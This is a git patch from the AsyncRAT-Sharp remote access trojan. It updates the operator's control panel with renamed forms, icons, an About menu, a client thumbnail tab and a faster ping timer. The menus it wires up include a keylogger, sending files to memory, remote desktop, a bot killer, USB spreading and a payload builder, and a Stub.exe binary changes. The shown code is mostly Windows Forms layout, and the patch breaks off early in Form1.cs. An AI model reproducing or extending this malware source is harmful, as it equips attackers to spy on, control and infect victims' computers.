From 9f269b053de29bd07cb043c146d30f1cf3fdb200 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Mon, 29 Apr 2019 19:35:44 -0700 Subject: [PATCH] Update fixed remote desktop fixed server and client stabilty minor bugs fixes --- .../AsyncRAT-Sharp/AsyncRAT-Sharp.csproj | 105 ++-- .../AsyncRAT-Sharp/Forms/Form1.Designer.cs | 182 ++++-- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 316 ++++++---- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx | 6 + .../Forms/FormAbout.Designer.cs | 71 +++ AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs | 20 + .../AsyncRAT-Sharp/Forms/FormAbout.resx | 589 ++++++++++++++++++ ...er.Designer.cs => FormBuilder.Designer.cs} | 4 +- .../Forms/{Builder.cs => FormBuilder.cs} | 9 +- .../Forms/{Builder.resx => FormBuilder.resx} | 0 ...signer.cs => FormDownloadFile.Designer.cs} | 4 +- .../{DownloadFile.cs => FormDownloadFile.cs} | 4 +- ...ownloadFile.resx => FormDownloadFile.resx} | 0 ...esigner.cs => FormFileManager.Designer.cs} | 4 +- .../{FileManager.cs => FormFileManager.cs} | 10 +- ...{FileManager.resx => FormFileManager.resx} | 0 ....Designer.cs => FormKeylogger.Designer.cs} | 4 +- .../Forms/{Keylogger.cs => FormKeylogger.cs} | 4 +- .../{Keylogger.resx => FormKeylogger.resx} | 0 ...sFrm.Designer.cs => FormPorts.Designer.cs} | 9 +- .../Forms/{PortsFrm.cs => FormPorts.cs} | 7 +- .../Forms/{PortsFrm.resx => FormPorts.resx} | 0 ...gner.cs => FormProcessManager.Designer.cs} | 4 +- ...rocessManager.cs => FormProcessManager.cs} | 4 +- ...ssManager.resx => FormProcessManager.resx} | 0 ...igner.cs => FormRemoteDesktop.Designer.cs} | 15 +- ...{RemoteDesktop.cs => FormRemoteDesktop.cs} | 7 +- ...oteDesktop.resx => FormRemoteDesktop.resx} | 0 ...er.cs => FormSendFileToMemory.Designer.cs} | 4 +- ...ileToMemory.cs => FormSendFileToMemory.cs} | 4 +- ...oMemory.resx => FormSendFileToMemory.resx} | 0 .../Handle Packet/HandleLogs.cs | 8 +- .../Handle Packet/HandlePacket.cs | 132 ++-- AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs | 2 +- .../Properties/Resources.Designer.cs | 162 ++++- .../AsyncRAT-Sharp/Properties/Resources.resx | 60 +- AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 139776 -> 140800 bytes .../AsyncRAT-Sharp/Resources/botkiller.png | Bin 0 -> 939 bytes .../AsyncRAT-Sharp/Resources/builder.png | Bin 0 -> 948 bytes .../Resources/circle-loading-gif.gif | Bin 0 -> 245347 bytes .../AsyncRAT-Sharp/Resources/client.png | Bin 0 -> 1173 bytes .../AsyncRAT-Sharp/Resources/filemanager.png | Bin 0 -> 585 bytes AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png | Bin 0 -> 1114 bytes .../AsyncRAT-Sharp/Resources/logger.png | Bin 0 -> 570 bytes .../AsyncRAT-Sharp/Resources/msgbox.png | Bin 0 -> 693 bytes .../AsyncRAT-Sharp/Resources/play-button.png | Bin 0 -> 1161 bytes .../AsyncRAT-Sharp/Resources/process.png | Bin 0 -> 1251 bytes .../Resources/remotedesktop.png | Bin 0 -> 674 bytes .../AsyncRAT-Sharp/Resources/stop (1).png | Bin 0 -> 1095 bytes .../AsyncRAT-Sharp/Resources/tomem.png | Bin 0 -> 992 bytes .../AsyncRAT-Sharp/Resources/tomem1.png | Bin 0 -> 992 bytes AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png | Bin 0 -> 937 bytes .../AsyncRAT-Sharp/Resources/visit.png | Bin 0 -> 1331 bytes AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 4 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 101 ++- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs | 50 +- .../Client/Handle Packet/FileManager.cs | 29 +- .../Client/Handle Packet/HandlePacket.cs | 36 +- .../Client/Handle Packet/RemoteDesktop.cs | 9 +- AsyncRAT-C#/Client/Program.cs | 4 +- AsyncRAT-C#/Client/Settings.cs | 5 +- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 89 +-- README.md | 2 +- 63 files changed, 1652 insertions(+), 427 deletions(-) create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{Builder.Designer.cs => FormBuilder.Designer.cs} (99%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{Builder.cs => FormBuilder.cs} (96%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{Builder.resx => FormBuilder.resx} (100%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{DownloadFile.Designer.cs => FormDownloadFile.Designer.cs} (98%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{DownloadFile.cs => FormDownloadFile.cs} (92%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{DownloadFile.resx => FormDownloadFile.resx} (100%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{FileManager.Designer.cs => FormFileManager.Designer.cs} (99%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{FileManager.cs => FormFileManager.cs} (95%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{FileManager.resx => FormFileManager.resx} (100%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{Keylogger.Designer.cs => FormKeylogger.Designer.cs} (98%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{Keylogger.cs => FormKeylogger.cs} (92%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{Keylogger.resx => FormKeylogger.resx} (100%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{PortsFrm.Designer.cs => FormPorts.Designer.cs} (96%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{PortsFrm.cs => FormPorts.cs} (89%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{PortsFrm.resx => FormPorts.resx} (100%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{ProcessManager.Designer.cs => FormProcessManager.Designer.cs} (99%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{ProcessManager.cs => FormProcessManager.cs} (95%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{ProcessManager.resx => FormProcessManager.resx} (100%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{RemoteDesktop.Designer.cs => FormRemoteDesktop.Designer.cs} (86%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{RemoteDesktop.cs => FormRemoteDesktop.cs} (88%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{RemoteDesktop.resx => FormRemoteDesktop.resx} (100%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{SendFileToMemory.Designer.cs => FormSendFileToMemory.Designer.cs} (99%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{SendFileToMemory.cs => FormSendFileToMemory.cs} (95%) rename AsyncRAT-C#/AsyncRAT-Sharp/Forms/{SendFileToMemory.resx => FormSendFileToMemory.resx} (100%) create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/filemanager.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/play-button.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/visit.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index aa78eac..4dd8991 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -62,17 +62,23 @@ - + Form - - Builder.cs + + FormAbout.cs - + Form - - FileManager.cs + + FormBuilder.cs + + + Form + + + FormFileManager.cs Form @@ -80,35 +86,35 @@ Form1.cs - + Form - - Keylogger.cs + + FormKeylogger.cs - + Form - - PortsFrm.cs + + FormPorts.cs - + Form - - ProcessManager.cs + + FormProcessManager.cs - + Form - - RemoteDesktop.cs + + FormRemoteDesktop.cs - + Form - - DownloadFile.cs + + FormDownloadFile.cs @@ -120,11 +126,11 @@ - + Form - - SendFileToMemory.cs + + FormSendFileToMemory.cs True @@ -164,37 +170,40 @@ - - Builder.cs + + FormAbout.cs - - FileManager.cs + + FormBuilder.cs + + + FormFileManager.cs Form1.cs - - Keylogger.cs + + FormKeylogger.cs - - PortsFrm.cs + + FormPorts.cs - - ProcessManager.cs + + FormProcessManager.cs - - RemoteDesktop.cs + + FormRemoteDesktop.cs - - DownloadFile.cs + + FormDownloadFile.cs ResXFileCodeGenerator Designer Resources.Designer.cs - - SendFileToMemory.cs + + FormSendFileToMemory.cs @@ -215,6 +224,22 @@ + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs index 7dd9899..c33c667 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs @@ -57,6 +57,8 @@ this.uSBSPREADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.aBOUTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.ping = new System.Windows.Forms.Timer(this.components); @@ -67,13 +69,21 @@ this.listView2 = new System.Windows.Forms.ListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.sTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.sTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.performanceCounter1 = new System.Diagnostics.PerformanceCounter(); this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); + this.listView3 = new System.Windows.Forms.ListView(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); this.tabPage1.SuspendLayout(); this.tabPage2.SuspendLayout(); + this.tabPage3.SuspendLayout(); + this.contextMenuStrip2.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).BeginInit(); this.SuspendLayout(); @@ -97,7 +107,7 @@ this.listView1.Name = "listView1"; this.listView1.ShowGroups = false; this.listView1.ShowItemToolTips = true; - this.listView1.Size = new System.Drawing.Size(988, 303); + this.listView1.Size = new System.Drawing.Size(1154, 396); this.listView1.TabIndex = 0; this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.View = System.Windows.Forms.View.Details; @@ -156,10 +166,11 @@ this.bOTKILLERToolStripMenuItem, this.uSBSPREADToolStripMenuItem, this.toolStripSeparator2, - this.bUILDERToolStripMenuItem}); + this.bUILDERToolStripMenuItem, + this.toolStripSeparator3, + this.aBOUTToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.ShowImageMargin = false; - this.contextMenuStrip1.Size = new System.Drawing.Size(275, 376); + this.contextMenuStrip1.Size = new System.Drawing.Size(283, 412); // // cLIENTOPTIONSToolStripMenuItem // @@ -168,9 +179,10 @@ this.rESTARTToolStripMenuItem, this.uPDATEToolStripMenuItem, this.uNISTALLToolStripMenuItem}); + this.cLIENTOPTIONSToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.client; this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem"; - this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.cLIENTOPTIONSToolStripMenuItem.Text = "[$] CLIENT OPTIONS"; + this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.cLIENTOPTIONSToolStripMenuItem.Text = "CLIENT OPTIONS"; // // cLOSEToolStripMenuItem // @@ -203,98 +215,122 @@ // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(271, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(279, 6); // // vISITWEBSITEToolStripMenuItem // + this.vISITWEBSITEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.visit; this.vISITWEBSITEToolStripMenuItem.Name = "vISITWEBSITEToolStripMenuItem"; - this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.vISITWEBSITEToolStripMenuItem.Text = "[0] VISIT WEBSITE"; + this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.vISITWEBSITEToolStripMenuItem.Text = "VISIT WEBSITE"; this.vISITWEBSITEToolStripMenuItem.Click += new System.EventHandler(this.VISITWEBSITEToolStripMenuItem_Click); // // sENDMESSAGEBOXToolStripMenuItem // + this.sENDMESSAGEBOXToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.msgbox; this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem"; - this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.sENDMESSAGEBOXToolStripMenuItem.Text = "[1] SEND MESSAGEBOX"; + this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDMESSAGEBOXToolStripMenuItem.Text = "SEND MESSAGEBOX"; this.sENDMESSAGEBOXToolStripMenuItem.Click += new System.EventHandler(this.sENDMESSAGEBOXToolStripMenuItem_Click); // // sENDFILEToolStripMenuItem // + this.sENDFILEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; - this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.sENDFILEToolStripMenuItem.Text = "[2] SEND FILE TO DISK"; + this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDFILEToolStripMenuItem.Text = "SEND FILE TO DISK"; this.sENDFILEToolStripMenuItem.Click += new System.EventHandler(this.sENDFILEToolStripMenuItem_Click_1); // // sENDFILETOMEMORYToolStripMenuItem // + this.sENDFILETOMEMORYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem1; this.sENDFILETOMEMORYToolStripMenuItem.Name = "sENDFILETOMEMORYToolStripMenuItem"; - this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.sENDFILETOMEMORYToolStripMenuItem.Text = "[3] SEND FILE TO MEMORY"; + this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY"; this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click); // // rEMOTEDESKTOPToolStripMenuItem // + this.rEMOTEDESKTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.remotedesktop; this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem"; - this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.rEMOTEDESKTOPToolStripMenuItem.Text = "[4] REMOTE DESKTOP"; + this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP"; this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click); // // kEYLOGGERToolStripMenuItem // + this.kEYLOGGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.logger; this.kEYLOGGERToolStripMenuItem.Name = "kEYLOGGERToolStripMenuItem"; - this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.kEYLOGGERToolStripMenuItem.Text = "[5] KEYLOGGER"; + this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.kEYLOGGERToolStripMenuItem.Text = "KEYLOGGER"; this.kEYLOGGERToolStripMenuItem.Click += new System.EventHandler(this.KEYLOGGERToolStripMenuItem_Click); // // fILEMANAGERToolStripMenuItem // + this.fILEMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.filemanager; this.fILEMANAGERToolStripMenuItem.Name = "fILEMANAGERToolStripMenuItem"; - this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.fILEMANAGERToolStripMenuItem.Text = "[6] FILE MANAGER"; + this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.fILEMANAGERToolStripMenuItem.Text = "FILE MANAGER"; this.fILEMANAGERToolStripMenuItem.Click += new System.EventHandler(this.fILEMANAGERToolStripMenuItem_Click); // // pROCESSMANAGERToolStripMenuItem // + this.pROCESSMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.process; this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem"; - this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.pROCESSMANAGERToolStripMenuItem.Text = "[7] PROCESS MANAGER"; + this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER"; this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click); // // bOTKILLERToolStripMenuItem // + this.bOTKILLERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.botkiller; this.bOTKILLERToolStripMenuItem.Name = "bOTKILLERToolStripMenuItem"; - this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.bOTKILLERToolStripMenuItem.Text = "[8] BOT KILLER"; + this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.bOTKILLERToolStripMenuItem.Text = "BOT KILLER"; this.bOTKILLERToolStripMenuItem.Click += new System.EventHandler(this.BOTKILLERToolStripMenuItem_Click); // // uSBSPREADToolStripMenuItem // + this.uSBSPREADToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.usb; this.uSBSPREADToolStripMenuItem.Name = "uSBSPREADToolStripMenuItem"; - this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.uSBSPREADToolStripMenuItem.Text = "[9] USB SPREAD"; + this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.uSBSPREADToolStripMenuItem.Text = "USB SPREAD"; this.uSBSPREADToolStripMenuItem.Click += new System.EventHandler(this.USBSPREADToolStripMenuItem_Click); // // toolStripSeparator2 // this.toolStripSeparator2.Name = "toolStripSeparator2"; - this.toolStripSeparator2.Size = new System.Drawing.Size(271, 6); + this.toolStripSeparator2.Size = new System.Drawing.Size(279, 6); // // bUILDERToolStripMenuItem // + this.bUILDERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; - this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.bUILDERToolStripMenuItem.Text = "[#] BUILDER"; + this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // + // toolStripSeparator3 + // + this.toolStripSeparator3.Name = "toolStripSeparator3"; + this.toolStripSeparator3.Size = new System.Drawing.Size(279, 6); + // + // aBOUTToolStripMenuItem + // + this.aBOUTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.info; + this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; + this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.aBOUTToolStripMenuItem.Text = "ABOUT"; + this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); + // // statusStrip1 // this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripStatusLabel1}); - this.statusStrip1.Location = new System.Drawing.Point(0, 342); + this.statusStrip1.Location = new System.Drawing.Point(0, 435); this.statusStrip1.Name = "statusStrip1"; - this.statusStrip1.Size = new System.Drawing.Size(1002, 30); + this.statusStrip1.Size = new System.Drawing.Size(1168, 30); this.statusStrip1.TabIndex = 1; this.statusStrip1.Text = "statusStrip1"; // @@ -307,7 +343,7 @@ // ping // this.ping.Enabled = true; - this.ping.Interval = 50000; + this.ping.Interval = 30000; this.ping.Tick += new System.EventHandler(this.ping_Tick); // // UpdateUI @@ -320,11 +356,12 @@ // this.tabControl1.Controls.Add(this.tabPage1); this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage3); this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; this.tabControl1.Location = new System.Drawing.Point(0, 0); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(1002, 342); + this.tabControl1.Size = new System.Drawing.Size(1168, 435); this.tabControl1.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; this.tabControl1.TabIndex = 2; // @@ -334,7 +371,7 @@ this.tabPage1.Location = new System.Drawing.Point(4, 29); this.tabPage1.Name = "tabPage1"; this.tabPage1.Padding = new System.Windows.Forms.Padding(3); - this.tabPage1.Size = new System.Drawing.Size(994, 309); + this.tabPage1.Size = new System.Drawing.Size(1160, 402); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Clients"; // @@ -344,7 +381,7 @@ this.tabPage2.Location = new System.Drawing.Point(4, 29); this.tabPage2.Name = "tabPage2"; this.tabPage2.Padding = new System.Windows.Forms.Padding(3); - this.tabPage2.Size = new System.Drawing.Size(994, 309); + this.tabPage2.Size = new System.Drawing.Size(1160, 402); this.tabPage2.TabIndex = 1; this.tabPage2.Text = "Logs"; this.tabPage2.UseVisualStyleBackColor = true; @@ -363,7 +400,7 @@ this.listView2.Name = "listView2"; this.listView2.ShowGroups = false; this.listView2.ShowItemToolTips = true; - this.listView2.Size = new System.Drawing.Size(988, 303); + this.listView2.Size = new System.Drawing.Size(1154, 396); this.listView2.TabIndex = 1; this.listView2.UseCompatibleStateImageBehavior = false; this.listView2.View = System.Windows.Forms.View.Details; @@ -378,6 +415,47 @@ this.columnHeader2.Text = "Message"; this.columnHeader2.Width = 705; // + // tabPage3 + // + this.tabPage3.Controls.Add(this.listView3); + this.tabPage3.Location = new System.Drawing.Point(4, 29); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(1160, 402); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = "Thumbnail"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // contextMenuStrip2 + // + this.contextMenuStrip2.ImageScalingSize = new System.Drawing.Size(24, 24); + this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.sTARTToolStripMenuItem, + this.sTOPToolStripMenuItem}); + this.contextMenuStrip2.Name = "contextMenuStrip2"; + this.contextMenuStrip2.Size = new System.Drawing.Size(144, 64); + // + // sTARTToolStripMenuItem + // + this.sTARTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.play_button; + this.sTARTToolStripMenuItem.Name = "sTARTToolStripMenuItem"; + this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(143, 30); + this.sTARTToolStripMenuItem.Text = "START"; + this.sTARTToolStripMenuItem.Click += new System.EventHandler(this.STARTToolStripMenuItem_Click); + // + // sTOPToolStripMenuItem + // + this.sTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.stop__1_; + this.sTOPToolStripMenuItem.Name = "sTOPToolStripMenuItem"; + this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(143, 30); + this.sTOPToolStripMenuItem.Text = "STOP"; + this.sTOPToolStripMenuItem.Click += new System.EventHandler(this.STOPToolStripMenuItem_Click); + // + // imageList1 + // + this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth16Bit; + this.imageList1.ImageSize = new System.Drawing.Size(256, 256); + this.imageList1.TransparentColor = System.Drawing.Color.Transparent; + // // performanceCounter1 // this.performanceCounter1.CategoryName = "Processor"; @@ -389,17 +467,31 @@ this.performanceCounter2.CategoryName = "Memory"; this.performanceCounter2.CounterName = "% Committed Bytes In Use"; // + // listView3 + // + this.listView3.ContextMenuStrip = this.contextMenuStrip2; + this.listView3.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView3.LargeImageList = this.imageList1; + this.listView3.Location = new System.Drawing.Point(0, 0); + this.listView3.Name = "listView3"; + this.listView3.ShowItemToolTips = true; + this.listView3.Size = new System.Drawing.Size(1160, 402); + this.listView3.SmallImageList = this.imageList1; + this.listView3.TabIndex = 0; + this.listView3.UseCompatibleStateImageBehavior = false; + // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1002, 372); + this.ClientSize = new System.Drawing.Size(1168, 465); this.Controls.Add(this.tabControl1); this.Controls.Add(this.statusStrip1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "Form1"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "AsyncRAT-Sharp // NYAN CAT"; + this.Text = "AsyncRAT-Sharp"; + this.Activated += new System.EventHandler(this.Form1_Activated); + this.Deactivate += new System.EventHandler(this.Form1_Deactivate); this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed); this.Load += new System.EventHandler(this.Form1_Load); this.contextMenuStrip1.ResumeLayout(false); @@ -408,6 +500,8 @@ this.tabControl1.ResumeLayout(false); this.tabPage1.ResumeLayout(false); this.tabPage2.ResumeLayout(false); + this.tabPage3.ResumeLayout(false); + this.contextMenuStrip2.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).EndInit(); this.ResumeLayout(false); @@ -456,6 +550,14 @@ private System.Windows.Forms.ToolStripMenuItem vISITWEBSITEToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem rESTARTToolStripMenuItem; public System.Windows.Forms.ColumnHeader lv_prefor; + private System.Windows.Forms.ToolStripMenuItem aBOUTToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip2; + private System.Windows.Forms.ToolStripMenuItem sTARTToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem sTOPToolStripMenuItem; + public System.Windows.Forms.ImageList imageList1; + public System.Windows.Forms.ListView listView3; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index a79b60f..355dd86 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -11,6 +11,7 @@ using System.IO; using AsyncRAT_Sharp.Forms; 